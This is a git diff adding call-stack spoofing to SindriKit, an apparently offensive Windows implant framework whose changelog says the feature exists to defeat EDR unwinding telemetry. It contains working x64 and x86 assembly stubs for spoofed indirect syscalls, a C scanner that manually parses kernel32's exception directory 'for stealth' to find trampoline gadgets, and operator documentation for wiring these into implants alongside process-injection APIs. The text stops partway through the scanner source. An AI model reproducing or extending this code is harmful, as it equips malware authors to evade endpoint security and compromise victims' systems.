diff --git a/CHANGELOG.md b/CHANGELOG.md index 9640b97..12f1640 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,17 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), --- +## [1.3.0] - 2026-07-06 + +Fourth major release. The framework introduces Call Stack Spoofing to defeat EDR virtual unwinding telemetry. + +### Major Additions +- **Advanced Stack Spoofing (`snd_syscall_spoofed_invoke_asm`)**: Implemented full Call Stack Spoofing natively into the execution pipeline using a dynamic JMP-Trampoline. +- **Dynamic Fat Frame Discovery (`snd_syscall_find_spoof_scan`)**: Automatically parses the Exception Directory (`.pdata`) of `kernel32.dll` to locate functions with massive shadow stack allocations (>= 120 bytes). Embeds the syscall return gadget inside this frame, tricking `RtlVirtualUnwind` into parsing a perfectly intact, legitimate call chain without desynchronization. +- **Pipeline Overhaul**: Added `pSpoofAddr` and `dwSpoofFrameSize` to `snd_syscall_entry_t`. Added `snd_syscall_set_spoof_finder` to configure the spoof engine. + +--- + ## [1.2.0] - 2026-06-29 Third major release. The framework introduces indirect syscalls and significantly improves the execution pipeline's flexibility and operator experience. diff --git a/CMakeLists.txt b/CMakeLists.txt index accf06e..6c45cbe 100755 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -30,12 +30,20 @@ endif() # --- Architecture-specific assembly --- if(CMAKE_SIZEOF_VOID_P EQUAL 8) - set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x64.asm src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm) - set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x64.asm) + set(SINDRI_EXEC_ASM + src/primitives/execution/syscalls/asm/invoke_direct_x64.asm + src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm + src/primitives/execution/syscalls/asm/invoke_spoofed_x64.asm + src/primitives/execution/ffi/asm/ffi_x64.asm +) set(HEAVENSGATE_ASM "") else() - set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x86.asm src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm) - set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x86.asm) + set(SINDRI_EXEC_ASM + src/primitives/execution/syscalls/asm/invoke_direct_x86.asm + src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm + src/primitives/execution/syscalls/asm/invoke_spoofed_x86.asm + src/primitives/execution/ffi/asm/ffi_x86.asm +) set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm) endif() @@ -112,10 +120,10 @@ add_library(sindri_engine STATIC src/primitives/execution/syscalls/syscalls_scan.c src/primitives/execution/syscalls/syscalls_sort.c src/primitives/execution/syscalls/gadget_scan.c + src/primitives/execution/syscalls/spoof_scan.c # Assembly & generated - ${SYSCALL_ASM} - ${EXECUTION_ASM} + ${SINDRI_EXEC_ASM} ${HEAVENSGATE_ASM} ${GENERATED_HEADER} ) diff --git a/config/hashes.ini b/config/hashes.ini index d071b99..1f66e2c 100644 --- a/config/hashes.ini +++ b/config/hashes.ini @@ -49,3 +49,4 @@ WriteProcessMemory VirtualProtectEx CreateRemoteThread CloseHandle +BaseThreadInitThunk diff --git a/docs/architecture/dependency_injection.md b/docs/architecture/dependency_injection.md index c76caaa..b219dee 100644 --- a/docs/architecture/dependency_injection.md +++ b/docs/architecture/dependency_injection.md @@ -76,7 +76,7 @@ There is **no** `snd_mod_sys`. Import resolution during reflective load uses PEB |---|---|---| | `_win` | Documented Win32 APIs | memory, modules, mapping, process | | `_nt` | NT function pointers resolved via PEB walk + EAT parse | memory, modules, mapping, process | -| `_sys` | Direct or indirect syscalls (configurable invoker) | memory, mapping, process — **not** modules | +| `_sys` | Direct, indirect, or spoofed syscalls (configurable invoker) | memory, mapping, process — **not** modules | ### OpSec profile examples @@ -103,9 +103,10 @@ snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); -// or for indirect syscalls: -// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); +// or for indirect/spoofed syscalls: +// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm); // snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); +// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan); ``` This is **global execution state**, not part of any DI table. Implant init code runs it once; all `_sys` tables benefit. diff --git a/docs/domains/primitives/README.md b/docs/domains/primitives/README.md index 0dde865..510fa75 100644 --- a/docs/domains/primitives/README.md +++ b/docs/domains/primitives/README.md @@ -13,7 +13,7 @@ Foundation layer for SindriKit. Loaders, injection, and future domains rely on i | [modules/](modules/) | `snd_mod_win`, `snd_mod_nt` (no `_sys`) | | [mapping/](mapping/) | `snd_map_win`, `snd_map_nt`, `snd_map_sys`, KnownDlls | | [process/](process/) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` | -| [syscalls/](syscalls/) | SSN resolution pipeline, configurable invoker (direct / indirect) | +| [syscalls/](syscalls/) | SSN resolution pipeline, configurable invoker (direct / indirect / spoofed) | | [execution/](execution/) | FFI (`snd_ffi_execute`), Heaven's Gate | Contract definitions: `include/sindri/primitives/os_api.h` diff --git a/docs/domains/primitives/execution/api_reference.md b/docs/domains/primitives/execution/api_reference.md index 8ffc79a..304f6f5 100644 --- a/docs/domains/primitives/execution/api_reference.md +++ b/docs/domains/primitives/execution/api_reference.md @@ -95,5 +95,6 @@ snd_status_t snd_hg_execute_64( | `snd_hg_invoke_x86` | `heavens_gate/asm/heavens_gate_x86.asm` | Far return to CS `0x33`, x64 call | | `snd_syscall_direct_invoke_asm` | `syscalls/asm/invoke_direct_x64.asm` or `invoke_direct_x86.asm` | Direct `syscall` / `sysenter` instruction stub | | `snd_syscall_indirect_invoke_asm` | `syscalls/asm/invoke_indirect_x64.asm` or `invoke_indirect_x86.asm` | Indirect syscall via NTDLL gadget | +| `snd_syscall_spoofed_invoke_asm` | `syscalls/asm/invoke_spoofed_x64.asm` or `invoke_spoofed_x86.asm` | Spoofed syscall via Fat Frame gadget | These are linked into `sindri::engine`; callers use the C wrappers above. diff --git a/docs/domains/primitives/syscalls/README.md b/docs/domains/primitives/syscalls/README.md index 8eeb7ce..6558736 100644 --- a/docs/domains/primitives/syscalls/README.md +++ b/docs/domains/primitives/syscalls/README.md @@ -56,18 +56,11 @@ Custom resolvers matching `snd_syscall_resolver_t` can be added to the chain (ma |---|---|---| | `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline | | `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget | +| `snd_syscall_spoofed_invoke_asm` | `invoke_spoofed_x64.asm` / `invoke_spoofed_x86.asm` | Spoofs call stack with dynamic Fat Frame discovery | > [!NOTE] -> Build with `SND_USE_DEFAULTS=ON` to pre-configure the invoker (`snd_syscall_direct_invoke_asm`), gadget finder (`snd_syscall_find_gadget_scan`), and primary resolver (`snd_syscall_resolve_ssn_scan`) at compile time. Only `snd_syscall_set_ntdll()` is then needed at runtime. +> Build with `SND_USE_DEFAULTS=ON` to pre-configure the invoker (`snd_syscall_indirect_invoke_asm`), gadget finder (`snd_syscall_find_gadget_scan`), and primary resolver (`snd_syscall_resolve_ssn_scan`) at compile time. Only `snd_syscall_set_ntdll()` is then needed at runtime. -## Invocation modes - -| Function | File | Description | -|---|---|---| -| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline | -| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget | - -> **Note on `SND_USE_DEFAULTS`**: When enabled, the framework pre-configures the invoker (indirect), gadget finder, and primary resolver automatically. ## Table of Contents diff --git a/docs/domains/primitives/syscalls/api_reference.md b/docs/domains/primitives/syscalls/api_reference.md index a02e35f..d55c0e9 100644 --- a/docs/domains/primitives/syscalls/api_reference.md +++ b/docs/domains/primitives/syscalls/api_reference.md @@ -25,6 +25,8 @@ Internal pipeline depth: **4 strategies** (`SND_MAX_INTERNAL_STRATEGIES` in `sys | `dwHash` | `DWORD` | Target function hash | | `wSystemCall` | `WORD` | Resolved SSN | | `pSyscallAddr` | `PVOID` | Gadget address for indirect invocation (populated by gadget finder) | +| `pSpoofAddr` | `PVOID` | Gadget address for spoofed invocation (populated by spoof finder) | +| `dwSpoofFrameSize` | `DWORD` | Frame size of the spoofed function (populated by spoof finder) | > [!NOTE] > The sort resolver sets `wSystemCall` only. `_sys` backends use `entry.wSystemCall` for invocation. @@ -38,6 +40,8 @@ Arguments for the syscall invoker (`snd_syscall_direct_invoke_asm` or `snd_sysca | `ssn` | `WORD` | SSN placed in `EAX`/`RAX` | | `arg1`–`arg11` | `PVOID` | Syscall arguments | | `sys_addr` | `PVOID` | Gadget address for indirect invocation; ignored by direct stub | +| `spoof_addr` | `PVOID` | Gadget address for spoofed invocation; ignored by other stubs | +| `spoof_frame_size` | `DWORD` | Frame size of the spoofed function; ignored by other stubs | > [!NOTE] > `sys_addr` is placed at the end of the struct to preserve memory offsets for args 1-11, ensuring backward compatibility with existing ASM stubs. @@ -150,6 +154,20 @@ Built-in: `snd_syscall_find_gadget_scan`. --- +### `snd_syscall_set_spoof_finder` + +Sets the global spoof finder function pointer. Only required when using spoofed invocation. + +```c +void snd_syscall_set_spoof_finder(snd_syscall_spoof_finder_t finder); +``` + +Built-in: `snd_syscall_find_spoof_scan`. + +**Source:** `src/primitives/execution/syscalls/syscalls.c` + +--- + ## Resolution & Execution ### `snd_syscall_resolve` @@ -188,6 +206,18 @@ extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args); --- +### `snd_syscall_spoofed_invoke_asm` + +Architecture-specific ASM stub (`invoke_spoofed_x64.asm` / `invoke_spoofed_x86.asm`). Jumps to a legitimate `syscall; ret` gadget inside NTDLL and spoofs the return address using a JMP-Trampoline inside a Fat Frame. Requires both `sys_addr` (via `snd_syscall_find_gadget_scan`) and `spoof_addr` / `spoof_frame_size` (via `snd_syscall_find_spoof_scan`). + +```c +extern NTSTATUS snd_syscall_spoofed_invoke_asm(snd_syscall_args_t *args); +``` + +**Returns:** raw `NTSTATUS`, or `STATUS_INVALID_PARAMETER` (`0xC000000D`) if any required address is NULL + +--- + ## Compile-Time Defaults (`SND_USE_DEFAULTS`) | Macro | Default value (when enabled) | diff --git a/docs/domains/primitives/syscalls/engines.md b/docs/domains/primitives/syscalls/engines.md index 40a9d76..cd5807e 100644 --- a/docs/domains/primitives/syscalls/engines.md +++ b/docs/domains/primitives/syscalls/engines.md @@ -129,6 +129,33 @@ Required when using `snd_syscall_indirect_invoke_asm`. The gadget finder runs au --- +## Spoof finder (`snd_syscall_find_spoof_scan`) + +**Source:** `spoof_scan.c` + +Locates a trampoline gadget (`RET`) within a legitimate function in `kernel32.dll` to spoof the call stack return address. + +### Algorithm (x64) + +To prevent frame desynchronization during stack unwinding (where the EDR's `RtlVirtualUnwind` crashes trying to parse our spoofed return address), the spoof finder dynamically hunts for a **"Fat Frame"**. + +1. Resolve the natively loaded `kernel32.dll` via PEB. +2. Manually parse the **Exception Directory** (`.pdata`) of `kernel32.dll` (avoiding native APIs like `RtlLookupFunctionEntry` for stealth). +3. Iterate through `RUNTIME_FUNCTION` entries and parse their `UNWIND_INFO` structures to calculate the total stack space allocated by each function. +4. Find a function that allocates at least **120 bytes** (a "Fat Frame"). This ensures the legitimate function's shadow space is large enough to encapsulate our spoofed JMP-trampoline and its arguments. +5. Scan the body of the Fat Frame function for a `0xC3` (`RET`) instruction. +6. Populate `entry->pSpoofAddr` with the gadget address and `entry->dwSpoofFrameSize` with the required stack offset. + +### Algorithm (x86) + +x86 does not use `.pdata` for exception handling. The scanner falls back to resolving `BaseThreadInitThunk` and scanning forward/backward for a simple `RET` gadget. + +### When to use + +Required when using `snd_syscall_spoofed_invoke_asm`. The spoof finder runs automatically during `snd_syscall_resolve` if `g_syscall_spoof_finder` is set. + +--- + ## Dependencies Both resolvers depend on: diff --git a/docs/domains/primitives/syscalls/pipeline.md b/docs/domains/primitives/syscalls/pipeline.md index fd68fe9..9b6d3d4 100644 --- a/docs/domains/primitives/syscalls/pipeline.md +++ b/docs/domains/primitives/syscalls/pipeline.md @@ -12,8 +12,9 @@ SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime flowchart LR A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_set_resolver / _add"] B --> C["3. snd_syscall_set_invoker"] - C --> D["4. snd_syscall_resolve"] - D --> E["5. g_syscall_invoker"] + C --> D["4. snd_syscall_set_spoof_finder"] + D --> E["5. snd_syscall_resolve"] + E --> F["6. g_syscall_invoker"] ``` ### 1. Provide `ntdll` base @@ -56,7 +57,15 @@ snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); // required for ind Indirect invocation requires a gadget finder. `snd_syscall_find_gadget_scan` resolves the target function in the natively loaded NTDLL via PEB and scans for a `syscall; ret` gadget (x64) or the transition stub entry (x86). -### 4. Resolve SSN +### 4. Configure spoof finder (optional) + +If using `snd_syscall_spoofed_invoke_asm`, you must configure a spoof finder. It dynamicallly searches for a "Fat Frame" in `kernel32.dll` to hide the call stack. + +```c +snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan); +``` + +### 5. Resolve SSN ```c snd_syscall_entry_t entry = {0}; @@ -65,23 +74,25 @@ snd_status_t status = snd_syscall_resolve(SND_HASH_NTOPENSECTION, &entry); `snd_syscall_resolve` tries each registered strategy in order until one returns `SND_OK`. -### 5. Invoke +### 6. Invoke Populate `snd_syscall_args_t` and call via the global invoker: ```c snd_syscall_args_t args = {0}; -args.ssn = entry.wSystemCall; -args.sys_addr = entry.pSyscallAddr; -args.arg1 = ...; +args.ssn = entry.wSystemCall; +args.sys_addr = entry.pSyscallAddr; +args.spoof_addr = entry.pSpoofAddr; +args.spoof_frame_size = entry.dwSpoofFrameSize; +args.arg1 = ...; // arg2–arg11 as required by the target syscall NTSTATUS nt_status = g_syscall_invoker(&args); ``` -`sys_addr` is only used by the indirect invoker; the direct invoker ignores it. +`sys_addr` is only used by indirect/spoofed invokers. `spoof_addr` and `spoof_frame_size` are only used by the spoofed invoker. -`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 4–5 internally — operators only bootstrap once at startup. +`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 5–6 internally — operators only bootstrap once at startup. --- @@ -96,10 +107,9 @@ if (SND_FAILED(st)) return st; snd_syscall_set_ntdll(ntdll); snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan); snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort); -snd_syscall_set_invoker(snd_syscall_direct_invoke_asm); -// or for indirect syscalls: -// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm); -// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); +snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm); +snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); +snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan); // Resolve + invoke NtClose snd_syscall_entry_t entry = {0}; @@ -107,9 +117,11 @@ st = snd_syscall_resolve(SND_HASH_NTCLOSE, &entry); if (SND_FAILED(st)) return st; snd_syscall_args_t args = {0}; -args.ssn = entry.wSystemCall; -args.sys_addr = entry.pSyscallAddr; -args.arg1 = handle; +args.ssn = entry.wSystemCall; +args.sys_addr = entry.pSyscallAddr; +args.spoof_addr = entry.pSpoofAddr; +args.spoof_frame_size = entry.dwSpoofFrameSize; +args.arg1 = handle; NTSTATUS nt = g_syscall_invoker(&args); ``` diff --git a/include/sindri/common/status.h b/include/sindri/common/status.h index 0959249..d182157 100644 --- a/include/sindri/common/status.h +++ b/include/sindri/common/status.h @@ -83,6 +83,7 @@ typedef enum _SND_STATUS_CODE { // Syscall resolution errors SND_STATUS_SSN_NOT_FOUND = 0x500, + SND_STATUS_GADGET_NOT_FOUND, // PEB SND_STATUS_PEB_MODULE_NOT_FOUND = 0x600, diff --git a/include/sindri/primitives/syscalls.h b/include/sindri/primitives/syscalls.h index b6958db..770f787 100644 --- a/include/sindri/primitives/syscalls.h +++ b/include/sindri/primitives/syscalls.h @@ -23,6 +23,8 @@ typedef struct { DWORD dwHash; WORD wSystemCall; PVOID pSyscallAddr; + PVOID pSpoofAddr; + DWORD dwSpoofFrameSize; // The actual frame size of the Fat Frame in bytes } snd_syscall_entry_t; /** @@ -44,6 +46,8 @@ typedef struct { // Placed at the end to prevent altering the memory offsets of args 1-11 // inside the existing Direct ASM stub (invoke_x64.asm). PVOID sys_addr; + PVOID spoof_addr; + DWORD spoof_frame_size; } snd_syscall_args_t; /** @@ -57,15 +61,18 @@ typedef snd_status_t (*snd_syscall_gadget_finder_t)(snd_syscall_entry_t *entry); snd_status_t snd_syscall_resolve_ssn_scan(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out); snd_status_t snd_syscall_resolve_ssn_sort(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out); snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry); +snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry); #if SND_USE_DEFAULTS - #define SND_SYSCALL_INVOKER_DEFAULT snd_syscall_indirect_invoke_asm - #define SND_SYSCALL_GADGET_FINDER_DEFAULT snd_syscall_find_gadget_scan - #define SND_SYSCALL_RESOLVER_DEFAULT snd_syscall_resolve_ssn_scan +#define SND_SYSCALL_INVOKER_DEFAULT snd_syscall_indirect_invoke_asm +#define SND_SYSCALL_GADGET_FINDER_DEFAULT snd_syscall_find_gadget_scan +#define SND_SYSCALL_SPOOF_FINDER_DEFAULT snd_syscall_find_spoof_scan +#define SND_SYSCALL_RESOLVER_DEFAULT snd_syscall_resolve_ssn_scan #else - #define SND_SYSCALL_INVOKER_DEFAULT NULL - #define SND_SYSCALL_GADGET_FINDER_DEFAULT NULL - #define SND_SYSCALL_RESOLVER_DEFAULT NULL +#define SND_SYSCALL_INVOKER_DEFAULT NULL +#define SND_SYSCALL_GADGET_FINDER_DEFAULT NULL +#define SND_SYSCALL_SPOOF_FINDER_DEFAULT NULL +#define SND_SYSCALL_RESOLVER_DEFAULT NULL #endif /** @@ -82,6 +89,7 @@ void snd_syscall_set_resolver(snd_syscall_resolver_t resolver); snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver); void snd_syscall_set_invoker(snd_syscall_invoker_t invoker); void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder); +void snd_syscall_set_spoof_finder(snd_syscall_gadget_finder_t finder); /** * @brief Sets the global base address of the ntdll.dll module. @@ -106,6 +114,7 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out */ extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args); extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args); +extern NTSTATUS snd_syscall_spoofed_invoke_asm(snd_syscall_args_t *args); SND_END_EXTERN_C diff --git a/src/common/status.c b/src/common/status.c index 084bc45..be8e7d1 100644 --- a/src/common/status.c +++ b/src/common/status.c @@ -126,6 +126,8 @@ const char *snd_status_to_string(snd_status_t status) { // SSN related errors case SND_STATUS_SSN_NOT_FOUND: return "SSN not found"; + case SND_STATUS_GADGET_NOT_FOUND: + return "Gadget not found"; // PEB related errors case SND_STATUS_PEB_MODULE_NOT_FOUND: diff --git a/src/primitives/execution/syscalls/asm/invoke_spoofed_x64.asm b/src/primitives/execution/syscalls/asm/invoke_spoofed_x64.asm new file mode 100644 index 0000000..2753527 --- /dev/null +++ b/src/primitives/execution/syscalls/asm/invoke_spoofed_x64.asm @@ -0,0 +1,92 @@ +; =========================================================================== +; invoke_spoofed_x64.asm - SindriKit Spoofed Syscall Invocation ASM Stub +; =========================================================================== +; +; Exports: +; snd_syscall_spoofed_invoke_asm +; +; Invokes a syscall indirectly by jumping to a legitimate `syscall` gadget +; within ntdll.dll, but spoofs the return address pushed onto the stack +; so that call stack telemetry sees the spoofed address instead of the payload +; address Uses MASM SEH directives (.pdata/.xdata) to ensure consistent +; unwinding. +; =========================================================================== + +.code + +PUBLIC snd_syscall_spoofed_invoke_asm + +; snd_syscall_spoofed_invoke_asm(SND_SYSCALL_ARGS* args) +snd_syscall_spoofed_invoke_asm PROC FRAME + push rbp + .PUSHREG rbp + push r12 + .PUSHREG r12 + mov rbp, rsp + .SETFRAME rbp, 0 + ; Allocate 256 bytes to be safe for larger Fat Frames (up to ~240 bytes). + sub rsp, 256 + .ALLOCSTACK 256 + .ENDPROLOG + + ; RCX points to SND_SYSCALL_ARGS struct + + mov r11, [rcx+96] ; sys_addr (gadget) + test r11, r11 + jz InvalidArgs + + mov r8, [rcx+104] ; spoof_addr (trampoline) + test r8, r8 + jz InvalidArgs + + mov r12d, dword ptr [rcx+112] ; spoof_frame_size (DWORD) + test r12, r12 + jz InvalidArgs + + ; Build the Top-of-Stack Exposure JMP-Trampoline strictly within our local frame + ; The syscall gadget expects to return to what is at [rsp]. + ; So we must put the Trampoline (RET) at [rsp+0]. + mov [rsp+0], r8 + lea rax, Cleanup + mov [rsp+8], rax + + mov rax, [rbp+16] + mov [rsp + r12 + 8], rax + + mov rax, [rcx+40] ; arg5 + mov [rsp+40], rax + mov rax, [rcx+48] ; arg6 + mov [rsp+48], rax + mov rax, [rcx+56] ; arg7 + mov [rsp+56], rax + mov rax, [rcx+64] ; arg8 + mov [rsp+64], rax + mov rax, [rcx+72] ; arg9 + mov [rsp+72], rax + mov rax, [rcx+80] ; arg10 + mov [rsp+80], rax + mov rax, [rcx+88] ; arg11 + mov [rsp+88], rax + + ; Extract SSN and arguments 1-4 + movzx eax, word ptr [rcx] ; ssn is a WORD + mov r10, [rcx+8] ; arg1 + mov rdx, [rcx+16] ; arg2 + mov r8, [rcx+24] ; arg3 + mov r9, [rcx+32] ; arg4 + + ; Jump to the NTDLL syscall gadget + jmp r11 + +InvalidArgs: + mov eax, 0C000000Dh ; STATUS_INVALID_PARAMETER + jmp Cleanup + +Cleanup: + mov rsp, rbp + pop r12 + pop rbp + ret +snd_syscall_spoofed_invoke_asm ENDP + +end diff --git a/src/primitives/execution/syscalls/asm/invoke_spoofed_x86.asm b/src/primitives/execution/syscalls/asm/invoke_spoofed_x86.asm new file mode 100644 index 0000000..596d298 --- /dev/null +++ b/src/primitives/execution/syscalls/asm/invoke_spoofed_x86.asm @@ -0,0 +1,83 @@ +; =========================================================================== +; invoke_spoofed_x86.asm - SindriKit Spoofed Syscall Invocation ASM Stub +; =========================================================================== +; +; Exports: +; snd_syscall_spoofed_invoke_asm +; +; Invokes a syscall indirectly by jumping into the middle of the NTDLL stub, +; while spoofing the caller's return address on the stack. +; =========================================================================== + +.686 +.model flat, c +.code + +PUBLIC snd_syscall_spoofed_invoke_asm + +; NTSTATUS snd_syscall_spoofed_invoke_asm(snd_syscall_args_t* args) +snd_syscall_spoofed_invoke_asm PROC + push ebp + mov ebp, esp + + ; Save non-volatile registers + push edi + push esi + push ebx + + mov eax, [ebp+8] + + ; Extract sys_addr (offset 48) and spoof_addr (offset 52) + mov ecx, [eax+48] + test ecx, ecx + jz InvalidArgs + + mov edi, [eax+52] ; EDI holds spoof_addr + test edi, edi + jz InvalidArgs + +GadgetValid: + ; Push 11 arguments + push [eax+44] ; arg11 + push [eax+40] ; arg10 + push [eax+36] ; arg9 + push [eax+32] ; arg8 + push [eax+28] ; arg7 + push [eax+24] ; arg6 + push [eax+20] ; arg5 + push [eax+16] ; arg4 + push [eax+12] ; arg3 + push [eax+8] ; arg2 + push [eax+4] ; arg1 + + ; Extract SSN into EAX for the syscall + movzx eax, word ptr [eax] + + ; Spoof the caller's return address using the Trampoline Gadget (RET) + mov esi, [ebp + 4] + mov [ebp + 4], edi + + ; Push SyscallCleanup onto the stack so the trampoline RET returns here + lea edx, SyscallCleanup + push edx + + jmp ecx + +InvalidArgs: + mov eax, 0C000000Dh + jmp Cleanup + +SyscallCleanup: + lea esp, [ebp - 12] + mov [ebp + 4], esi + +Cleanup: + pop ebx + pop esi + pop edi + + pop ebp + ret +snd_syscall_spoofed_invoke_asm ENDP + +end diff --git a/src/primitives/execution/syscalls/gadget_scan.c b/src/primitives/execution/syscalls/gadget_scan.c index 204a682..d054734 100644 --- a/src/primitives/execution/syscalls/gadget_scan.c +++ b/src/primitives/execution/syscalls/gadget_scan.c @@ -12,14 +12,12 @@ snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) { return SND_ERR(SND_STATUS_NULL_POINTER); } - // 1. Get the natively loaded NTDLL from our own PEB - PVOID local_ntdll = NULL; - snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &local_ntdll); + PVOID local_ntdll = NULL; + snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &local_ntdll); if (SND_FAILED(status) || !local_ntdll) { return SND_ERR(SND_STATUS_NOT_INITIALIZED); } - // 2. Resolve the real, executable address of the API using its hash FARPROC exec_addr = NULL; status = snd_pe_get_export_address_hash(local_ntdll, SND_SYS_DLL_SIZE_DEFAULT, entry->dwHash, &exec_addr, NULL); if (SND_FAILED(status) || !exec_addr) { @@ -30,7 +28,6 @@ snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) { BYTE *ptr = (BYTE *)exec_addr; // Scan forward a maximum of 32 bytes from the API entry point - // looking for the `syscall` (0x0F 0x05) followed by `ret` (0xC3) signature. for (int i = 0; i < 32; i++) { if (ptr[i] == 0x0F && ptr[i + 1] == 0x05 && ptr[i + 2] == 0xC3) { entry->pSyscallAddr = (PVOID)&ptr[i]; @@ -38,23 +35,10 @@ snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) { } } - return SND_ERR(SND_STATUS_SSN_NOT_FOUND); // Gadget not found within bounds + return SND_ERR(SND_STATUS_SSN_NOT_FOUND); #elif defined(_WIN32) BYTE *ptr = (BYTE *)exec_addr; - // We scan for the start of the `call dword ptr fs:[0xC0]` or `sysenter` block - // Actually, on x86, the best gadget is the entire NTDLL stub starting at the `mov edx, esp` - // or just after the `mov eax, SSN`. - // The typical NTDLL stub on x86 looks like: - // mov eax, - // mov edx, or mov edx, esp - // call dword ptr fs:[0xC0] or sysenter or call edx - // ret XX - // - // The easiest and safest way to do indirect syscall on x86 is to jump to `exec_addr + 5`. - // `exec_addr` points to `mov eax, ` which is exactly 5 bytes (B8 XX XX 00 00). - // The instructions after that handle the transition safely for the specific OS version. - // We check if it starts with `mov eax` (0xB8) if (ptr[0] == 0xB8) { entry->pSyscallAddr = (PVOID)&ptr[5]; diff --git a/src/primitives/execution/syscalls/spoof_scan.c b/src/primitives/execution/syscalls/spoof_scan.c new file mode 100644 index 0000000..5c73f78 --- /dev/null +++ b/src/primitives/execution/syscalls/spoof_scan.c @@ -0,0 +1,149 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) { + if (entry == NULL) { + return SND_ERR(SND_STATUS_NULL_POINTER); + } + + PVOID kernel32 = NULL; + + snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_KERNEL32_DLL, &kernel32); + + if (SND_FAILED(status)) { + return SND_ERR(SND_STATUS_NOT_INITIALIZED); + } + + PVOID gadget = NULL; + +#ifdef _WIN64 + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)kernel32; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((ULONG_PTR)kernel32 + dos->e_lfanew); + DWORD pdata_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress; + DWORD pdata_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size; + + if (pdata_rva != 0 && pdata_size != 0) { + PRUNTIME_FUNCTION pdata = (PRUNTIME_FUNCTION)((ULONG_PTR)kernel32 + pdata_rva); + DWORD pdata_count = pdata_size / sizeof(RUNTIME_FUNCTION); + + for (DWORD i = 0; i < pdata_count; i++) { + PRUNTIME_FUNCTION func = &pdata[i]; + + if (func->UnwindData == 0) + continue; + + PBYTE unwind_info = (PBYTE)((ULONG_PTR)kernel32 + func->UnwindData); + + BYTE version = unwind_info[0] & 7; + BYTE flags = unwind_info[0] >> 3; + + if ((version != 1 && version != 2) || (flags & 4) != 0) { + continue; + } + + BYTE countOfCodes = unwind_info[2]; + PBYTE codes = unwind_info + 4; + + DWORD frame_size = 0; + + for (BYTE j = 0; j < countOfCodes;) { + BYTE unwindOp = codes[j * 2 + 1] & 0x0F; + BYTE opInfo = codes[j * 2 + 1] >> 4; + + switch (unwindOp) { + case 0: // UWOP_PUSH_NONVOL + frame_size += 8; + j += 1; + break; + case 1: // UWOP_ALLOC_LARGE + if (opInfo == 0) { + frame_size += (*(USHORT *)(&codes[(j + 1) * 2])) * 8; + j += 2; + } else { + frame_size += (*(DWORD *)(&codes[(j + 1) * 2])); + j += 3; + } + break; + case 2: // UWOP_ALLOC_SMALL + frame_size += (opInfo * 8) + 8; + j += 1; + break; + case 3: // UWOP_SET_FPREG + j += 1; + break; + case 4: // UWOP_SAVE_NONVOL + j += 2; + break; + case 5: // UWOP_SAVE_NONVOL_FAR + j += 3; + break; + case 8: // UWOP_SAVE_XMM128 + j += 2; + break; + case 9: // 